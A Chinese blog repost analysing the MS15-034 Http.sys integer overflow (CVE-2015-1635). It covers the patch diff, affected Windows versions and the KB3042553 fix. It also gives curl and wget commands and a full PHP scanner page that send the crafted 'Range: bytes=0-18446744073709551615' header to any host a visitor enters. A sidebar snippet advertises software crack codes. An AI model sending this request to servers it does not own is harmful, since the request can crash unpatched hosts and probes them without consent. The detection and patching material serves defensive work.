HTTP.sys remote code execution vulnerability「建议收藏」

HTTP.sys remote code execution vulnerability「建议收藏」IIS系列Http.sys处理Range整数溢出漏洞导致远程代码执行1.漏洞概要2015年04月14日,微软发布严重级别的安全公告MS15-034,编号为CVE-2015-1635,据称在Http.sys中的漏洞可能允许远程执行代码。2.漏洞描述CWE:CWE-119 CVE:CVE-2015-1635   Http.sys是一个位于Windows操作系统核…

大家好,又见面了,我是你们的朋友全栈君。

IIS 系列 Http.sys处理 Range 整数溢出漏洞导致远程代码执行

1.漏洞概要

2015 年 04 月 14 日,微软发布严重级别的安全公告 MS15-034,编号为 CVE-2015-1635,据称在 Http.sys 中的漏洞可能允许远程执行代码。

2. 漏洞描述

CWE: CWE-119 

CVE: CVE-2015-1635   

 Http.sys 是一个位于 Windows 操作系统核心组件,能够让任何应用程序通过它提供的接口,以 Http 协议进行信息通讯。微软在 Windows 2003 Server 里引进了新的 HTTP API 和内核模式驱动 Http.sys,目的是使基于 Http 服务的程序更有效率。其实在 Windows XP 安装 SP2 后,Http.sys 已经出现在系统里了,但事实上操作系统并没有真的使用这个内核级驱动,而 XP 上自带的 IIS 5.1 也没有使用 HTTP API。从曝出的 poc 来看,此漏洞是一个整数溢出类型的漏洞,微软安全公告称最大安全影响是远程执行代码。

3.受影响版本

这是对于服务器系统影响不小的安全漏洞,任何安装了微软IIS 6.0以上的的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。


4.漏洞原理

(from seebug)

根据补丁比较发现,POC 中提到的代码出现在 UlpParseRange 函数中修改的部分。

在未打补丁的 Http.sys 文件的 UlpParseRange 函数中,代码如下。

4.171

4.172

可以看到,在计算 64 位整数时直接进行了运算,没有进行必要的整数溢出检查。

而在打补丁的 Http.sys 文件的 UlpParseRange 函数中,修改代码如下。

4.173

4.174

用 RtlULongLongAdd 函数来计算 Range 范围长度 v18,这个函数中是做了整数溢出检查的。

4.175

再看一下对 RtlULongLongAdd 函数的调用情况。

4.176

在未打补丁的 Http.sys 文件中只有 1 处调用了 RtlULongLongAdd 函数。

4.177

而在打补丁的 Http.sys 文件中总共有 13 处调用了 RtlULongLongAdd 函数进行整数溢出检查,说明有漏洞的系统中可能有多个处理流程会涉及到整数溢出造成的安全问题。

通过补丁比较确定了修改过的函数如下。

4.178

经过分析发现,UlAdjustRangesToContentSize 函数中的整数溢出点,才是导致漏洞能发挥作用的关键流程。

4.179

 

这段代码还是采用了直接运算 64 位整数的方式,没有检查是否溢出,在补丁文件中替换为调用 RtlULongLongAdd 函数。

这部分代码的功能是判断获取文件偏移量的范围,是否会超过请求缓存文件的数据长度,如果超出就把读取长度 修改为合适的大小,防止越界访问数据。但是由于发生了整数溢出,使得判断越界的代码失效,这样就不会修改读取长度,造成用可控的长度值越界访问数据。

5.漏洞检测

HTTP.sys remote code execution vulnerability「建议收藏」

curl:

curl -i http://xxx.com/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

wget:

wget 127.0.0.1 –debug –header=”Range: bytes=0-18446744073709551615″

PHP代码:

<?php class VulnStatus { 
    const FAIL        = 0; const VULN        = 1; const VULN_NOT_MS = 2; const PATCHED     = 3; const NOT_VULN    = 4; const NOT_VULN_MS = 5; const NOT_VULN_CF = 6; public static function AsString( $status, $host ) { 
    switch( $status ) { 
    case self::FAIL       : return ';<div class="alert alert-warning">无法连接到 <b>'; . $host . ';</b> 测试漏洞。</div>';; case self::VULN       : return ';<div class="alert alert-danger"><b>'; . $host . ';</b> 存在漏洞。</div>';; case self::VULN_NOT_MS: return ';<div class="alert alert-warning"><b>'; . $host . ';</b> 可能存在漏洞,但它好像没使用IIS。</div>';; case self::PATCHED    : return ';<div class="alert alert-success"><b>'; . $host . ';</b> 已修复。</div>';; case self::NOT_VULN   : return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>, 并没有使用IIS,可能不存在漏洞。</div>';; case self::NOT_VULN_MS: return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>. 可能不存在漏洞。</div>';; case self::NOT_VULN_CF: return ';<div class="alert alert-success"><b>'; . $host . ';</b> 可能使用了CloudFlare CDN加速,导致漏洞无法检测或不存在。</div>';; } return ';好像坏了';; } } $host = false; $status = false; $url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL ); if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null ) { 
    $url = ';http://'; . $url; } $port = parse_url( $url, PHP_URL_PORT ); if( $port === null ) { 
    $port = 80; } $url = parse_url( $url, PHP_URL_HOST ); if( $url !== null ) { 
    $cachekey = ';ms15034_'; . $url . ';_'; . $port; $cachetime = 300; // 5 minutes $host = htmlspecialchars( $url, ENT_HTML5 ); if( $port !== 80 ) { 
    $host .= ';:'; . $port; } $memcached = new Memcached( ); $memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 ); $status = $memcached->get( $cachekey ); if( $status === false ) { 
    $fp = @fsockopen( $url, $port, $errno, $errstr, 5 ); if( $fp === false ) { 
    $status = VulnStatus::FAIL; } else { 
    stream_set_timeout( $fp, 5 ); $header = "GET / HTTP/1.1\r\n"; $header .= "Host: stuff\r\n"; $header .= "Range: bytes=0-18446744073709551615\r\n"; $header .= "Connection: close\r\n\r\n"; fwrite( $fp, $header ); $response = fread( $fp, 1024 ); fclose( $fp ); if( strpos( $response, ';您的请求范围不符合'; ) !== false ) { 
    $status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN; } else if( strpos( $response, ';请求一个无效的header头部'; ) !== false ) { 
    $cachetime = 3600; // 缓存时间 $status = VulnStatus::PATCHED; } else if( strpos( $response, ';Microsoft'; ) === false ) { 
    if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false ) { 
    $status = VulnStatus::NOT_VULN_CF; } else { 
    $status = VulnStatus::NOT_VULN; } } else { 
    $status = VulnStatus::NOT_VULN_MS; } } unset( $fp, $header, $response ); $memcached->set( $cachekey, $status, $cachetime ); } $status = VulnStatus::AsString( $status, $host ); } ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="theme-color" content="#424242"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>MS15-034 测试</title> <link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet"> <style type="text/css"> .container { 
    max-width: 900px; } .masthead { 
    position: relative; padding: 20px 0; text-align: center; color: #fff; background-color: #424242; margin-bottom: 20px; } .masthead a { 
    color: #fff; } .footer { 
    text-align: center; padding: 15px; color: #555; } .footer span { 
    color: #FA5994; } .form-inline { 
    text-align: center; margin-bottom: 20px; } .github { 
    position: absolute; top: 0; right: 0; } </style> </head> <body> <div> <div> <h1>HTTP.sys 堆栈漏洞测试</h1> <h3>输入一个URL或主机名来测试服务器的 <a href="https://technet.microsoft.com/en-us/library/security/ms15-034.aspx" target="_blank">MS15-034</a> / <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635" target="_blank">CVE-2015-1635</a>.</h3> </div> </div> <div> <blockquote> <p>在HTTP协议栈(HTTP.sys)造成当HTTP协议堆栈不正确地分析特制的HTTP请求的远程代码执行漏洞。成功利用此漏洞谁的攻击者可以在系统帐户的上下文中执行任意代码。</p> <p>要利用此漏洞,攻击者必须发送一个特制的HTTP请求发送到受影响的系统。此更新通过修改Windows HTTP协议栈处理请求解决该漏洞。</p> </blockquote> <form id="js-form" method="GET"> <div> <input type="text" class="form-control input-lg" id="js-input" placeholder="baidu.com" name="host" autofocus<?php if( $host !== false ) { 
    echo '; value="'; . $host . ';"';; } ?>> <button type="submit" class="btn btn-primary btn-lg">检测</button> </div> </form> <?php if( $status !== false ) { 
    echo $status; } ?> <div>使用Memcached分布式内存对象缓存系统 | 所有的结果查询会被缓存五分钟</div> </div> </body> </html>

Python POC (pocsuite)

https://www.seebug.org/vuldb/ssvid-89233

6.漏洞修复

通过 Windows 更新机制,选择 KB3042553 安全更新进行系统升级。

referrer:

http://blogs.360.cn/blog/cve_2015_6135_http_rce_analysis/

https://www.seebug.org/vuldb/ssvid-89233

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161439.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 视频流媒体服务器的作用是什么?流媒体服务器功能介绍[通俗易懂]

    视频流媒体服务器的作用是什么?流媒体服务器功能介绍[通俗易懂]入行这么多年,深深觉得流媒体服务器的未来也将伴随着宽带应用和网络发展的总趋势,毕竟科技改变生活,未来流媒体也将占据网络的主流,视频流媒体服务器的功能和作用也将越来越丰富。在未来,流媒体服务器将转向高

    2022年7月1日
    23
  • kfold交叉验证好处_sklearn交叉验证

    kfold交叉验证好处_sklearn交叉验证运用Kfold交叉验证时,在一个限度内k的值越大越好。因为k越大我们验证的次数就越多,最后取出来的平均数越能代表训练模型的准确度。但是k是需要在一个限度之内的。k太大有两个坏处。1.容易给机器造成过重负担,花费大量时间。2.每一次验证的测试集(或验证集)中数据太少,很难得到准确的误报率。总体而言,k一般取10,取值依不同项目情况而定,当然一定存在k&lt;n(训练集数据条数)。…

    2025年12月2日
    8
  • intellidea2021.4激活码_通用破解码

    intellidea2021.4激活码_通用破解码,https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月16日
    66
  • Ubuntu修改用户密码_乌班图修改root用户名和密码

    Ubuntu修改用户密码_乌班图修改root用户名和密码ubuntu下有时候登录了当前账户之后,如果想使用root账户,不知道密码的情况下拒绝登录,因此需要修改root账户的密码。通过执行:sudopasswdroot来设置root账户密码。也可以通过:sudopasswdusername来更改特定账户密码。…

    2022年9月29日
    1
  • 在Windows上安装MySQL教程总结[通俗易懂]

    在Windows上安装MySQL教程总结[通俗易懂]MySQL数据库环境搭建步骤总结

    2022年8月11日
    6
  • 信息熵和基尼系数_信息熵和基尼系数

    信息熵和基尼系数_信息熵和基尼系数一、基尼系数是什么?1)定义    下面是摘自李航《统计学习方法》中基尼系数的定义,非常清晰。2)基尼系数有什么意义?    我们可以先来看一组数据X的取值 方案一 方案二 方案三 方案四 P的平方 方案一 方案二 方案三 方案四类别一 0.9 0.5 0.4 0.2 p1^2 0.81 0.25 0.16 0.04类别二 0.1 0.5 0.3 0.2 p2^2 0.01 0.25 0.09 0…

    2022年10月10日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号